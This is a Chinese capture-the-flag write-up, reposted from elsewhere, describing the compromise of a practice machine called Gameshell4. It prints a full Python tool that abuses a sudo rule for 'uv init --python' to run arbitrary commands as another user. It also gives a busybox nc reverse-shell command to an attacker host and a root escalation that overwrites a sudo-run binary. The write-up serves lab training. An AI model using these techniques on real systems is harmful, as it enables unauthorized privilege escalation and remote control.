群友靶机之Gameshell4

admin 2026-04-13 03:14:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了Gameshell4靶机的完整渗透测试过程。通过端口扫描发现79端口的finger服务泄露用户信息,80端口源代码中找到加密密码并成功破解为babylove3。登录SSH后利用数独游戏获得密码sudokuismagic,最终通过uv工具权限提升获取root权限。 综合评分: 75 文章分类: 渗透测试,CTF,WEB安全,内网渗透,实战经验


)。

首先,我们去看看finger服务

finger [email protected]

,我们sudo -l

  (sdk) NOPASSWD: /usr/local/bin/uv init *, /usr/local/bin/uv help *

发现sdk用户可以无密码去执行

/usr/local/bin/uv init*, /usr/local/bin/uv help *

那么,我们可以去使用他们去切换到sdk用户下的,我们去了解了解什么是uv

uv是一个用 Rust 编写的极速 Python 包安装器和项目管理器,由开发 Ruff 的 Astral 团队创建。主要特性:超高性能:比传统 pip快 10-100 倍。一体化工具:旨在替代 pip、pip-tools、pipx、poetry、pyenv、virtualenv等多个工具。磁盘空间高效:全局缓存去重依赖。易于安装:可通过 curl、pip、pipx 等安装,无需预先安装 Rust 或 Python。

我们直接一个脚本解决

#!/usr/bin/env python3"""通过uv init执行sdk用户命令的工具基于用户提供的bash脚本思路实现"""
import osimport sysimport tempfileimport subprocessimport shutilimport signalimport atexitimport argparse
def setup_cleanup():    """设置清理函数"""    temp_files = []
    def cleanup():        """清理临时文件"""        for f in temp_files:            if f and os.path.exists(f):                try:                    if os.path.isdir(f):                        shutil.rmtree(f, ignore_errors=True)                    else:                        os.unlink(f)                except:                    pass
    atexit.register(cleanup)    signal.signal(signal.SIGINT, lambda sig, frame: (cleanup(), sys.exit(0)))    signal.signal(signal.SIGTERM, lambda sig, frame: (cleanup(), sys.exit(0)))
    return temp_files
def execute_sdk_command(command, workdir=None, verbose=False):    """    以sdk用户身份执行命令    :param command: 要执行的命令字符串    :param workdir: 工作目录,默认为临时目录    :param verbose: 是否显示详细信息    :return: 命令输出    """    temp_files = setup_cleanup()
    # 1. 创建工作目录    if not workdir:        workdir = tempfile.mkdtemp(prefix="uvsdk_proj_")        temp_files.append(workdir)
    if verbose:        print(f"[*] 工作目录: {workdir}")
    # 2. 创建命令脚本文件    sdk_cmd_file = tempfile.NamedTemporaryFile(        mode='w',        prefix='sdk_cmd_',        suffix='.sh',        delete=False    )    sdk_cmd_file.write(f'#!/bin/sh\n{command}\n')    sdk_cmd_file.close()    os.chmod(sdk_cmd_file.name, 0o755)    temp_files.append(sdk_cmd_file.name)
    if verbose:        print(f"[*] 命令脚本: {sdk_cmd_file.name}")
    # 3. 创建输出文件    sdk_out_file = tempfile.NamedTemporaryFile(        mode='w',        prefix='sdk_cmd_',        suffix='.out',        delete=False    )    sdk_out_file.close()    os.chmod(sdk_out_file.name, 0o666)    temp_files.append(sdk_out_file.name)
    if verbose:        print(f"[*] 输出文件: {sdk_out_file.name}")
    # 4. 创建假的Python解释器    fakepy_file = tempfile.NamedTemporaryFile(        mode='w',        prefix='fakepy_',        suffix='.sh',        delete=False    )    fakepy_content = f'''#!/bin/sh/bin/sh "{sdk_cmd_file.name}" >"{sdk_out_file.name}" 2>&1exit 1'''    fakepy_file.write(fakepy_content)    fakepy_file.close()    os.chmod(fakepy_file.name, 0o755)    temp_files.append(fakepy_file.name)
    if verbose:        print(f"[*] 假Python解释器: {fakepy_file.name}")
    # 5. 准备uv init命令    uv_log_file = tempfile.NamedTemporaryFile(        mode='w',        prefix='uv_init_',        suffix='.log',        delete=False    )    uv_log_file.close()    temp_files.append(uv_log_file.name)
    # 切换到/tmp目录避免权限问题    original_cwd = os.getcwd()    os.chdir('/tmp')
    if verbose:        print(f"[*] SDK命令: {command}")        print(f"[*] 触发: sudo -n -u sdk /usr/local/bin/uv init {workdir} --python {fakepy_file.name}")
    # 构建uv init命令    uv_cmd = [        'sudo', '-n', '-u', 'sdk',        '/usr/local/bin/uv',        'init',        workdir,        '--python', fakepy_file.name,        '--bare',        '--no-workspace'    ]
    try:        with open(uv_log_file.name, 'w') as log_f:            result = subprocess.run(                uv_cmd,                stdout=log_f,                stderr=subprocess.STDOUT,                timeout=30            )
        if verbose:            print(f"[*] uv init退出码: {result.returncode}")            print(f"[*] uv日志: {uv_log_file.name}")
        # 6. 读取输出        output = None        if os.path.exists(sdk_out_file.name):            with open(sdk_out_file.name, 'r') as f:                output = f.read()
            if verbose:                print(f"[*] SDK命令输出:")                print("-" * 40)                print(output)                print("-" * 40)        else:            if verbose:                print("[-] 没有生成输出文件")
        return output
    except subprocess.TimeoutExpired:        if verbose:            print("[-] uv init超时")        return None    except Exception as e:        if verbose:            print(f"[-] 执行出错: {e}")        return None    finally:        os.chdir(original_cwd)
        if verbose and os.path.exists(uv_log_file.name):            with open(uv_log_file.name, 'r') as f:                log_content = f.read()            if log_content:                print(f"[*] uv日志内容:")                print("-" * 40)                print(log_content[:1000])                if len(log_content) > 1000:                    print("... (日志截断)")                print("-" * 40)
def interactive_mode():    """交互模式"""    print("=" * 60)    print("uv init sdk命令执行器 - 交互模式")    print("=" * 60)
    while True:        print("\n输入要执行的命令 (输入 'exit' 退出):")        command = input("> ").strip()
        if command.lower() in ['exit', 'quit', 'q']:            print("退出交互模式")            break
        if not command:            continue
        print(f"执行命令: {command}")        output = execute_sdk_command(command, verbose=True)
        if output is None:            print("命令执行失败或没有输出")
def batch_mode(commands):    """批量执行模式"""    print("=" * 60)    print("uv init sdk命令执行器 - 批量模式")    print(f"执行 {len(commands)} 个命令")    print("=" * 60)
    for i, cmd in enumerate(commands, 1):        print(f"\n命令 {i}/{len(commands)}: {cmd}")        output = execute_sdk_command(cmd, verbose=True)
        if output is None:            print(f"命令 {i} 执行失败")
def shell_mode():    """获取sdk用户的shell"""    print("=" * 60)    print("获取sdk用户的交互式shell")    print("=" * 60)
    # 尝试多种获取shell的方法    shell_methods = [        # 方法1: 直接启动bash        "/bin/bash -i",
        # 方法2: 通过python启动pty        '''python3 -c "import pty; pty.spawn('/bin/bash')"''',
        # 方法3: 通过脚本启动        '''sh -c "exec /bin/bash -i"''',    ]
    for i, method in enumerate(shell_methods, 1):        print(f"\n尝试方法 {i}: {method}")        output = execute_sdk_command(method, verbose=True)
        if output and "bash" in output:            print(f"方法 {i} 可能成功启动了shell")            break
def test_system():    """测试系统信息"""    print("=" * 60)    print("系统信息测试")    print("=" * 60)
    test_commands = [        "id; whoami; sudo -l",        "uname -a",        "cat /etc/os-release",        "lsb_release -a 2>/dev/null || echo 'lsb_release not available'",        "df -h",        "free -h",        "cat /proc/cpuinfo | grep 'model name' | head -1",        "cat /proc/meminfo | grep 'MemTotal'",    ]
    batch_mode(test_commands)
def main():    """主函数"""    parser = argparse.ArgumentParser(description='通过uv init以sdk用户身份执行命令')    parser.add_argument('command', nargs='?', help='要执行的命令')    parser.add_argument('-i', '--interactive', action='store_true', help='交互模式')    parser.add_argument('-s', '--shell', action='store_true', help='获取sdk用户的shell')    parser.add_argument('-t', '--test', action='store_true', help='测试系统信息')    parser.add_argument('-b', '--batch', nargs='+', help='批量执行多个命令')    parser.add_argument('-v', '--verbose', action='store_true', help='显示详细信息')
    args = parser.parse_args()
    if args.interactive:        interactive_mode()    elif args.shell:        shell_mode()    elif args.test:        test_system()    elif args.batch:        batch_mode(args.batch)    elif args.command:        output = execute_sdk_command(args.command, verbose=args.verbose or True)        if output is None:            sys.exit(1)    else:        # 如果没有参数,显示帮助        parser.print_help()
        # 检查当前用户        result = subprocess.run(["whoami"], capture_output=True, text=True)        current_user = result.stdout.strip()        print(f"\n当前用户: {current_user}")
        # 检查sudo权限        result = subprocess.run(["sudo", "-l"], capture_output=True, text=True)        if "uv init" in result.stdout or "uv help" in result.stdout:            print("✓ 有权限执行uv命令")        else:            print("✗ 没有找到uv命令的sudo权限")
if __name__ == "__main__":    main()

这个脚本是一个权限提升利用工具,它利用系统配置中允许当前用户以 sdk用户身份执行 uv init命令的权限,来实现以 sdk用户身份执行任意命令。

🎯 脚本的核心功能

  1. 利用 sudoers 配置漏洞

脚本利用了在 sudoers 文件中发现的配置:

(sdk) NOPASSWD: /usr/local/bin/uv init *, /usr/local/bin/uv help *

这个配置允许任何属于 sdk组(或有权限)的用户无需密码以 sdk用户身份执行 uv init命令的任何参数。

  1. 核心攻击原理

脚本的核心思路是通过 uv init的 –python参数执行自定义代码:

sudo -u sdk /usr/local/bin/uv init [项目路径] --python [脚本路径]

创建一个临时的 Python 脚本(实际上是一个 Shell 脚本)

将这个脚本作为 “Python 解释器” 传递给 uv init

当uv尝试用这个”解释器”初始化项目时,实际上执行了我们注入的命令

  1. 脚本的主要工作流程

创建临时工作环境:在 /tmp 下创建临时目录和文件

构造恶意命令:将用户要执行的命令写入 Shell 脚本

劫持Python解释器:创建一个假的Python解释器,实际执行我们的Shell 脚本

触发 uv init:以 sdk 用户身份执行 uv init,指向假解释器

获取执行结果:捕获命令的输出

🔧 脚本的使用方式

# 1. 获取sdk用户的shellpython3 uvsdk.py -s# 2. 执行单个命令python3 uvsdk.py "id; whoami"# 3. 交互模式python3 uvsdk.py -i# 4. 测试系统信息python3 uvsdk.py -t# 5. 批量执行命令python3 uvsdk.py -b "uname -a""cat /etc/passwd""ls -la /home"

我们去使用这个试试看

我们可以看到攻击成功了,我们去反弹一个shell即可

busybox nc 192.168.137.102 1234 -e /bin/bash

6.sdk用户

我们去稳定一个shell

我们可以看到可以去执行/usr/local/bin/livescreen,我们去看看

实际执行的是cbonsai,那么我们去创建一个cbonsai,写入提权命令即可。

sdk@GameShell4:/tmp$ echo '/bin/bash -p' > /usr/local/bin/cbonsaisdk@GameShell4:/tmp$ chmod +x /usr/local/bin/cbonsaisdk@GameShell4:/tmp$ sudo /usr/local/bin/livescreen

我们可以看到提权成功,成功获取root.txt

至此,这个靶机渗透测试成功。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:MS02423 MS02423 MS02423《群友靶机之Gameshell4》

群友靶机之Gameshell4 网络安全文章

群友靶机之Gameshell4

文章总结: 本文记录了Gameshell4靶机的完整渗透测试过程。通过端口扫描发现79端口的finger服务泄露用户信息,80端口源代码中找到加密密码并成功破解
评论:0   参与:  0